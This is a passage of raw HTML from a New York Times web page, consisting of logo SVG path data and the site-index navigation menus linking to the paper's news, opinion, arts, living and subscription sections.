4.4-2.5 5v.3c2.8.1 5.4-.8 5.4-5.7V9.3l.9-.7-.2-.2-.8.6-2.5-2.1L18.5 9V.8h-.2l-3.5 2.4v.2c.4.2 1 .4 1 1.5l-.1 11.3zM34 15.1L31.5 17 29 15v-1.2l4.7-3.2v-.1l-2.4-3.6-5.2 2.8v6.6l-1 .8.2.2.9-.7 3.4 2.5 4.5-3.6-.1-.4zm-5-1.7V8.5l.2-.1 2.2 3.5-2.4 1.5zM53.1 2c0-.3-.1-.6-.2-.9h-.2c-.3.8-.7 1.2-1.7 1.2-.9 0-1.5-.5-1.9-.9l-2.9 3.3.2.2 1-.9c.6.5 1.1.9 2.5 1v8.3L44 3.2c-.5-.8-1.2-1.9-2.6-1.9-1.6 0-3 1.4-2.8 3.6h.3c.1-.6.4-1.3 1.1-1.3.5 0 1 .5 1.3 1v3.3c-1.8 0-3 .8-3 2.3 0 .8.4 2 1.6 2.3v-.2c-.2-.2-.3-.4-.3-.7 0-.5.4-.9 1.1-.9h.5v4.2c-2.1 0-3.8 1.2-3.8 3.2 0 1.9 1.6 2.8 3.4 2.7v-.2c-1.1-.1-1.6-.6-1.6-1.3 0-.9.6-1.3 1.4-1.3.8 0 1.5.5 2 1.1l2.9-3.2-.2-.2-.7.8c-1.1-1-1.7-1.3-3-1.5V5l8 14h.6V5c1.5-.1 2.9-1.3 2.9-3zm7.3 13.1L57.9 17l-2.5-2v-1.2l4.7-3.2v-.1l-2.4-3.6-5.2 2.8v6.6l-1 .8.2.2.9-.7 3.4 2.5 4.5-3.6-.1-.4zm-5-1.7V8.5l.2-.1 2.2 3.5-2.4 1.5zM76.7 8l-.7.5-1.9-1.6-2.2 2 .9.9v7.5l-2.4-1.5V9.6l.8-.5-2.3-2.2-2.2 2 .9.9V17l-.3.2-2.1-1.5v-6c0-1.4-.7-1.8-1.5-2.3-.7-.5-1.1-.8-1.1-1.5 0-.6.6-.9.9-1.1v-.2c-.8 0-2.9.8-2.9 2.7 0 1 .5 1.4 1 1.9s1 .9 1 1.8v5.8l-1.1.8.2.2 1-.8 2.3 2 2.5-1.7 2.8 1.7 5.3-3.1V9.2l1.3-1-.2-.2zm18.6-5.5l-1 .9-2.2-2-3.3 2.4V1.6h-.3l.1 16.2c-.3 0-1.2-.2-1.9-.4l-.2-13.5c0-1-.7-2.4-2.5-2.4s-3 1.4-3 2.8h.3c.1-.6.4-1.1 1-1.1s1.1.4 1.1 1.7v3.9c-1.8.1-2.9 1.1-2.9 2.4 0 .8.4 2 1.6 2V13c-.4-.2-.5-.5-.5-.7 0-.6.5-.8 1.3-.8h.4v6.2c-1.5.5-2.1 1.6-2.1 2.8 0 1.7 1.3 2.9 3.3 2.9 1.4 0 2.6-.2 3.8-.5 1-.2 2.3-.5 2.9-.5.8 0 1.1.4 1.1.9 0 .7-.3 1-.7 1.1v.2c1.6-.3 2.6-1.3 2.6-2.8s-1.5-2.4-3.1-2.4c-.8 0-2.5.3-3.7.5-1.4.3-2.8.5-3.2.5-.7 0-1.5-.3-1.5-1.3 0-.8.7-1.5 2.4-1.5.9 0 2 .1 3.1.4 1.2.3 2.3.6 3.3.6 1.5 0 2.8-.5 2.8-2.6V3.7l1.2-1-.2-.2zm-4.1 6.1c-.3.3-.7.6-1.2.6s-1-.3-1.2-.6V4.2l1-.7 1.4 1.3v3.8zm0 3c-.2-.2-.7-.5-1.2-.5s-1 .3-1.2.5V9c.2.2.7.5 1.2.5s1-.3 1.2-.5v2.6zm0 4.7c0 .8-.5 1.6-1.6 1.6h-.8V12c.2-.2.7-.5 1.2-.5s.9.3 1.2.5v4.3zm13.7-7.1l-3.2-2.3-4.9 2.8v6.5l-1 .8.1.2.8-.6 3.2 2.4 5-3V9.2zm-5.4 6.3V8.3l2.5 1.8v7.1l-2.5-1.7zm14.9-8.4h-.2c-.3.2-.6.4-.9.4-.4 0-.9-.2-1.1-.5h-.2l-1.7 1.9-1.7-1.9-3 2 .1.2.8-.5 1 1.1v6.3l-1.3 1 .2.2.6-.5 2.4 2 3.1-2.1-.1-.2-.9.5-1.2-1V9c.5.5 1.1 1 1.8 1 1.4.1 2.2-1.3 2.3-2.9zm12 9.6L123 19l-4.6-7 3.3-5.1h.2c.4.4 1 .8 1.7.8s1.2-.4 1.5-.8h.2c-.1 2-1.5 3.2-2.5 3.2s-1.5-.5-2.1-.8l-.3.5 5 7.4 1-.6v.1zm-11-.5l-1.3 1 .2.2.6-.5 2.2 2 3-2-.2-.2-.8.5-1-1V.8h-.1l-3.6 2.4v.2c.4.2 1 .3 1 1.5v11.3zM143 2.9c0-2-1.9-2.5-3.4-2.5v.3c.9 0 1.6.3 1.6 1 0 .4-.3 1-1.2 1-.7 0-2.2-.4-3.3-.8-1.3-.4-2.5-.8-3.5-.8-2 0-3.4 1.5-3.4 3.2 0 1.5 1.1 2 1.5 2.2l.1-.2c-.3-.2-.6-.4-.6-1 0-.4.4-1.1 1.4-1.1.9 0 2.1.4 3.7.9 1.4.4 2.9.7 3.7.8V9l-1.5 1.3v.1l1.5 1.3V16c-.8.5-1.7.6-2.5.6-1.5 0-2.8-.4-3.9-1.6l4.1-2V6l-5 2.2c.5-1.3 1.6-2.2 2.6-2.9l-.1-.2c-3 .8-5.7 3.5-5.7 6.9 0 4 3.3 7 7 7 4 0 6.6-3.2 6.6-6.5h-.2c-.6 1.3-1.5 2.5-2.6 3.1v-4.1l1.6-1.3v-.1L140 8.8v-3c1.5 0 3-1 3-2.9zm-8.7 11l-1.2.6c-.7-.9-1.1-2.1-1.1-3.8 0-.7.1-1.5.3-2.1l2.1-.9-.1 6.2zm12.2-12h-.1l-2 1.7v.1l1.7 1.9h.2l2-1.7v-.1l-1.8-1.9zm3 14.8l-.8.5-1-1V9.3l1-.7-.2-.2-.7.6-1.8-2.1-2.9 2 .2.3.7-.5.9 1.1v6.5l-1.3 1 .1.2.7-.5 2.2 2 3-2-.1-.3zm16.7-.1l-.7.5-1.1-1V9.3l1-.8-.2-.2-.8.7-2.3-2.1-3 2.1-2.3-2.1L154 9l-1.8-2.1-2.9 2 .1.3.7-.5 1 1.1v6.5l-.8.8 2.3 1.9 2.2-2-.9-.9V9.3l.9-.6 1.5 1.4v6l-.8.8 2.3 1.9 2.2-2-.9-.9V9.3l.8-.5 1.6 1.4v6l-.7.7 2.3 2.1 3.1-2.1v-.3zm8.7-1.5l-2.5 1.9-2.5-2v-1.2l4.7-3.2v-.1l-2.4-3.6-5.2 2.8v6.8l3.5 2.5 4.5-3.6-.1-.3zm-5-1.7V8.5l.2-.1 2.2 3.5-2.4 1.5zm14.1-.9l-1.9-1.5c1.3-1.1 1.8-2.6 1.8-3.6v-.6h-.2c-.2.5-.6 1-1.4 1-.8 0-1.3-.4-1.8-1L176 9.3v3.6l1.7 1.3c-1.7 1.5-2 2.5-2 3.3 0 1 .5 1.7 1.3 2l.1-.2c-.2-.2-.4-.3-.4-.8 0-.3.4-.8 1.2-.8 1 0 1.6.7 1.9 1l4.3-2.6v-3.6h-.1zm-1.1-3c-.7 1.2-2.2 2.4-3.1 3l-1.1-.9V8.1c.4 1 1.5 1.8 2.6 1.8.7 0 1.1-.1 1.6-.4zm-1.7 8c-.5-1.1-1.7-1.9-2.9-1.9-.3 0-1.1 0-1.9.5.5-.8 1.8-2.2 3.5-3.2l1.2 1 .1 3.6z"></path></svg></a><div class="css-1otr2jl" data-testid="go-to-homepage"><a class="css-1c8n994" href="/">Go to Home Page »</a></div></header><div class="css-qtw155" data-testid="site-index-accordion"><div class=" " role="tablist" aria-multiselectable="true" data-testid="accordion"><div class="" data-testid="accordion-item"><header aria-controls="body-siteindex-0" id="item-siteindex-0" class="css-mn5hq9" role="tab" tabindex="0" aria-expanded="false" data-testid="accordion-item-header">news</header><div class="css-1hyfx7x" id="body-siteindex-0" aria-labelledby="item-siteindex-0" aria-expanded="false" role="tabpanel" data-testid="accordion-item-body"><ul class="css-1gprdgz" data-testid="site-index-accordion-list"><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com" data-testid="accordion-item-list-link">home page</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/world" data-testid="accordion-item-list-link">world</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/us" data-testid="accordion-item-list-link">U.S.</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/politics" data-testid="accordion-item-list-link">politics</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/news-event/2020-election" data-testid="accordion-item-list-link">Election 2020</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/nyregion" data-testid="accordion-item-list-link">New York</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/business" data-testid="accordion-item-list-link">business</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/technology" data-testid="accordion-item-list-link">tech</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/science" data-testid="accordion-item-list-link">science</a></li><li class="css-10t7hia smartphone"><a class="css-mzqdl" href="https://www.nytimes.com/section/climate" data-testid="accordion-item-list-link">climate</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/sports" data-testid="accordion-item-list-link">sports</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/obituaries" data-testid="accordion-item-list-link">obituaries</a></li><li class="css-10t7hia smartphone"><a class="css-mzqdl" href="https://www.nytimes.com/section/upshot" data-testid="accordion-item-list-link">the upshot</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/todayspaper" data-testid="accordion-item-list-link">today&#x27;s paper</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/corrections" data-testid="accordion-item-list-link">corrections</a></li></ul></div></div><div class="" data-testid="accordion-item"><header aria-controls="body-siteindex-1" id="item-siteindex-1" class="css-mn5hq9" role="tab" tabindex="0" aria-expanded="false" data-testid="accordion-item-header">opinion</header><div class="css-1hyfx7x" id="body-siteindex-1" aria-labelledby="item-siteindex-1" aria-expanded="false" role="tabpanel" data-testid="accordion-item-body"><ul class="css-1gprdgz" data-testid="site-index-accordion-list"><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/opinion" data-testid="accordion-item-list-link">today&#x27;s opinion</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/opinion/columnists" data-testid="accordion-item-list-link">op-ed columnists</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/opinion/editorials" data-testid="accordion-item-list-link">editorials</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/opinion/contributors" data-testid="accordion-item-list-link">op-ed Contributors</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/opinion/letters" data-testid="accordion-item-list-link">letters</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/opinion/sunday" data-testid="accordion-item-list-link">sunday review</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/video/opinion" data-testid="accordion-item-list-link">video: opinion</a></li></ul></div></div><div class="" data-testid="accordion-item"><header aria-controls="body-siteindex-2" id="item-siteindex-2" class="css-mn5hq9" role="tab" tabindex="0" aria-expanded="false" data-testid="accordion-item-header">arts</header><div class="css-1hyfx7x" id="body-siteindex-2" aria-labelledby="item-siteindex-2" aria-expanded="false" role="tabpanel" data-testid="accordion-item-body"><ul class="css-1gprdgz" data-testid="site-index-accordion-list"><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/arts" data-testid="accordion-item-list-link">today&#x27;s arts</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/arts/design" data-testid="accordion-item-list-link">art &amp; design</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/books" data-testid="accordion-item-list-link">books</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/arts/dance" data-testid="accordion-item-list-link">dance</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/movies" data-testid="accordion-item-list-link">movies</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/arts/music" data-testid="accordion-item-list-link">music</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/spotlight/pop-culture" data-testid="accordion-item-list-link">Pop Culture</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/arts/television" data-testid="accordion-item-list-link">television</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/theater" data-testid="accordion-item-list-link">theater</a></li><li class="css-10t7hia smartphone"><a class="css-mzqdl" href="https://www.nytimes.com/watching" data-testid="accordion-item-list-link">watching</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/video/arts" data-testid="accordion-item-list-link">video: arts</a></li></ul></div></div><div class="" data-testid="accordion-item"><header aria-controls="body-siteindex-3" id="item-siteindex-3" class="css-mn5hq9" role="tab" tabindex="0" aria-expanded="false" data-testid="accordion-item-header">living</header><div class="css-1hyfx7x" id="body-siteindex-3" aria-labelledby="item-siteindex-3" aria-expanded="false" role="tabpanel" data-testid="accordion-item-body"><ul class="css-1gprdgz" data-testid="site-index-accordion-list"><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/automobiles" data-testid="accordion-item-list-link">automobiles</a></li><li class="css-10t7hia smartphone"><a class="css-mzqdl" href="https://cooking.nytimes.com/" data-testid="accordion-item-list-link">Cooking</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/crosswords" data-testid="accordion-item-list-link">crossword</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/education" data-testid="accordion-item-list-link">education</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/food" data-testid="accordion-item-list-link">food</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/health" data-testid="accordion-item-list-link">health</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/jobs" data-testid="accordion-item-list-link">jobs</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/magazine" data-testid="accordion-item-list-link">magazine</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://parenting.nytimes.com/" data-testid="accordion-item-list-link">parenting</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/realestate" data-testid="accordion-item-list-link">real estate</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/style" data-testid="accordion-item-list-link">style</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/t-magazine" data-testid="accordion-item-list-link">t magazine</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/travel" data-testid="accordion-item-list-link">travel</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/fashion/weddings" data-testid="accordion-item-list-link">love</a></li></ul></div></div><div class="" data-testid="accordion-item"><header aria-controls="body-siteindex-4" id="item-siteindex-4" class="css-mn5hq9" role="tab" tabindex="0" aria-expanded="false" data-testid="accordion-item-header">listings &amp; more</header><div class="css-1hyfx7x" id="body-siteindex-4" aria-labelledby="item-siteindex-4" aria-expanded="false" role="tabpanel" data-testid="accordion-item-body"><ul class="css-1gprdgz" data-testid="site-index-accordion-list"><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/reader-center" data-testid="accordion-item-list-link">Reader Center</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://thewirecutter.com" data-testid="accordion-item-list-link">Wirecutter</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="http://nytconferences.com/" data-testid="accordion-item-list-link">Live Events</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/learning" data-testid="accordion-item-list-link">The Learning Network</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="http://www.nytimes.com/marketing/tools-and-services" data-testid="accordion-item-list-link">tools &amp; services</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/events" data-testid="accordion-item-list-link">N.Y.C. events guide</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/multimedia" data-testid="accordion-item-list-link">multimedia</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/lens" data-testid="accordion-item-list-link">photography</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/video" data-testid="accordion-item-list-link">video</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/newsletters" data-testid="accordion-item-list-link">Newsletters</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/store" data-testid="accordion-item-list-link">NYT store</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/times-journeys" data-testid="accordion-item-list-link">times journeys</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://myaccount.nytimes.com/membercenter/myaccount.html" data-testid="accordion-item-list-link">manage my account</a></li></ul></div></div></div></div><div class="css-v0l3hm" data-testid="site-index-sections"><div class="css-g4gku8" data-testid="site-index-section"><section class="css-1rr4qq7" aria-labelledby="site-index-section-label-0"><h3 class="css-rxqrcl" id="site-index-section-label-0">news</h3><ul class="css-1iruc8t" data-testid="site-index-section-list"><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com" data-testid="site-index-section-list-link">home page</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/world" data-testid="site-index-section-list-link">world</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/us" data-testid="site-index-section-list-link">U.S.</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/politics" data-testid="site-index-section-list-link">politics</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/news-event/2020-election" data-testid="site-index-section-list-link">Election 2020</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/nyregion" data-testid="site-index-section-list-link">New York</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/business" data-testid="site-index-section-list-link">business</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/technology" data-testid="site-index-section-list-link">tech</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/science" data-testid="site-index-section-list-link">science</a></li><li class="css-ist4u3 smartphone"><a class="css-kwpx34" href="https://www.nytimes.com/section/climate" data-testid="site-index-section-list-link">climate</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/sports" data-testid="site-index-section-list-link">sports</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/obituaries" data-testid="site-index-section-list-link">obituaries</a></li><li class="css-ist4u3 smartphone"><a class="css-kwpx34" href="https://www.nytimes.com/section/upshot" data-testid="site-index-section-list-link">the upshot</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/todayspaper" data-testid="site-index-section-list-link">today&#x27;s paper</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/corrections" data-testid="site-index-section-list-link">corrections</a></li></ul></section><section class="css-1rr4qq7" aria-labelledby="site-index-section-label-1"><h3 class="css-rxqrcl" id="site-index-section-label-1">opinion</h3><ul class="css-1iruc8t" data-testid="site-index-section-list"><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/opinion" data-testid="site-index-section-list-link">today&#x27;s opinion</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/opinion/columnists" data-testid="site-index-section-list-link">op-ed columnists</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/opinion/editorials" data-testid="site-index-section-list-link">editorials</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/opinion/contributors" data-testid="site-index-section-list-link">op-ed Contributors</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/opinion/letters" data-testid="site-index-section-list-link">letters</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/opinion/sunday" data-testid="site-index-section-list-link">sunday review</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/video/opinion" data-testid="site-index-section-list-link">video: opinion</a></li></ul></section><section class="css-1rr4qq7" aria-labelledby="site-index-section-label-2"><h3 class="css-rxqrcl" id="site-index-section-label-2">arts</h3><ul class="css-1iruc8t" data-testid="site-index-section-list"><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/arts" data-testid="site-index-section-list-link">today&#x27;s arts</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/arts/design" data-testid="site-index-section-list-link">art &amp; design</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/books" data-testid="site-index-section-list-link">books</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/arts/dance" data-testid="site-index-section-list-link">dance</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/movies" data-testid="site-index-section-list-link">movies</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/arts/music" data-testid="site-index-section-list-link">music</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/spotlight/pop-culture" data-testid="site-index-section-list-link">Pop Culture</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/arts/television" data-testid="site-index-section-list-link">television</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/theater" data-testid="site-index-section-list-link">theater</a></li><li class="css-ist4u3 smartphone"><a class="css-kwpx34" href="https://www.nytimes.com/watching" data-testid="site-index-section-list-link">watching</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/video/arts" data-testid="site-index-section-list-link">video: arts</a></li></ul></section><section class="css-1rr4qq7" aria-labelledby="site-index-section-label-3"><h3 class="css-rxqrcl" id="site-index-section-label-3">living</h3><ul class="css-1iruc8t" data-testid="site-index-section-list"><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/automobiles" data-testid="site-index-section-list-link">automobiles</a></li><li class="css-ist4u3 smartphone"><a class="css-kwpx34" href="https://cooking.nytimes.com/" data-testid="site-index-section-list-link">Cooking</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/crosswords" data-testid="site-index-section-list-link">crossword</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/education" data-testid="site-index-section-list-link">education</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/food" data-testid="site-index-section-list-link">food</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/health" data-testid="site-index-section-list-link">health</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/jobs" data-testid="site-index-section-list-link">jobs</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/magazine" data-testid="site-index-section-list-link">magazine</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://parenting.nytimes.com/" data-testid="site-index-section-list-link">parenting</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/realestate" data-testid="site-index-section-list-link">real estate</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/style" data-testid="site-index-section-list-link">style</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/t-magazine" data-testid="site-index-section-list-link">t magazine</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/travel" data-testid="site-index-section-list-link">travel</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/fashion/weddings" data-testid="site-index-section-list-link">love</a></li></ul></section><section class="css-1rr4qq7" aria-labelledby="site-index-section-label-4"><h3 class="css-rxqrcl" id="site-index-section-label-4">more</h3><ul class="css-1iruc8t" data-testid="site-index-section-list"><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/reader-center" data-testid="site-index-section-list-link">Reader Center</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://thewirecutter.com" data-testid="site-index-section-list-link">Wirecutter</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="http://nytconferences.com/" data-testid="site-index-section-list-link">Live Events</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/learning" data-testid="site-index-section-list-link">The Learning Network</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="http://www.nytimes.com/marketing/tools-and-services" data-testid="site-index-section-list-link">tools &amp; services</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/events" data-testid="site-index-section-list-link">N.Y.C. events guide</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/multimedia" data-testid="site-index-section-list-link">multimedia</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/lens" data-testid="site-index-section-list-link">photography</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/video" data-testid="site-index-section-list-link">video</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/newsletters" data-testid="site-index-section-list-link">Newsletters</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/store" data-testid="site-index-section-list-link">NYT store</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/times-journeys" data-testid="site-index-section-list-link">times journeys</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://myaccount.nytimes.com/membercenter/myaccount.html" data-testid="site-index-section-list-link">manage my account</a></li></ul></section><div class="css-6xhk3s" aria-labelledby="site-index-subscribe-label"><h3 class="css-rxqrcl" id="site-index-subscribe-label">Subscribe</h3><ul class="css-1iruc8t" data-testid="site-index-subscribe-list"><li class="css-tj0ten"><a class="css-1k2cjfc" href="https://www.nytimes.com/hdleftnav" data-testid="site-index-subscribe-list-link"><svg class="css-r5ic95" viewBox="0 0 14 13" fill="#000"><path d="M13.1,11.7H3.5V1.2h9.6V11.7zM13.1,0.4H3.5C3,0.4,2.6,0.8,2.6,1.2v2.2H0.9C0.4,3.4,0,3.8,0,4.3v5.2v1.5c0,0.8,0.8,1.5,1.8,1.5h1.7h0h7.4h2.2c0.5,0,0.9-0.4,0.9-0.9V1.2C14,0.8,13.6,0.4,13.1,0.4"></path><polygon points="10.9,3 5.2,3 5.2,3.9 11.4,3.9 11.4,3"></polygon><rect x="5.2" y="4.7" width="6.1" height="0.9"></rect><rect x="5.2" y="6.5" width="6.1" height="0.9"></rect></svg>home delivery</a></li><li class="css-tj0ten"><a class="css-1k2cjfc" href="https://www.nytimes.com/digitalleftnav" data-testid="site-index-subscribe-list-link"><svg class="css-r5ic95" viewBox="0 0 10 13"><path fill="#000" d="M9.9,8c-0.4,1.1-1.2,1.9-2.3,2.4V8l1.3-1.2L7.6,5.7V4c1.2-0.1,2-1,2-2c0-1.4-1.3-1.9-2.1-1.9c-0.2,0-0.3,0-0.6,0.1v0.1c0.1,0,0.2,0,0.3,0c0.5,0,0.9,0.2,0.9,0.7c0,0.4-0.3,0.7-0.8,0.7C6,1.7,4.5,0.6,2.8,0.6c-1.5,0-2.5,1.1-2.5,2.2C0.3,4,1,4.3,1.6,4.6l0-0.1C1.4,4.4,1.3,4.1,1.3,3.8c0-0.5,0.5-0.9,1-0.9C3.7,2.9,6,4,7.4,4h0.1v1.7L6.2,6.8L7.5,8v2.4c-0.5,0.2-1.1,0.3-1.7,0.3c-2.2,0-3.6-1.3-3.6-3.5c0-0.5,0.1-1,0.2-1.5l1.1-0.5V10l2.2-1v-5L2.5,5.5c0.3-1,1-1.7,1.8-2l0,0C2.2,3.9,0.1,5.6,0.1,8c0,2.9,2.4,4.8,5.2,4.8C8.2,12.9,9.9,10.9,9.9,8L9.9,8z"></path></svg>digital subscriptions</a></li><li class="css-tj0ten"><a class="css-1k2cjfc" href="https://www.nytimes.com/subscription/games/lp897H9.html" data-testid="site-index-subscribe-list-link"><svg class="css-r5ic95" viewBox="0 0 13 13" fill="#000"><polygon points="0,-93.6 0,-86.9 6.6,-93.6"></polygon><polygon points="0.9,-86 7.5,-86 7.5,-92.6"></polygon><polygon points="0,-98 0,-94.8 8.8,-94.8 8.8,-86 12,-86 12,-98"></polygon><path 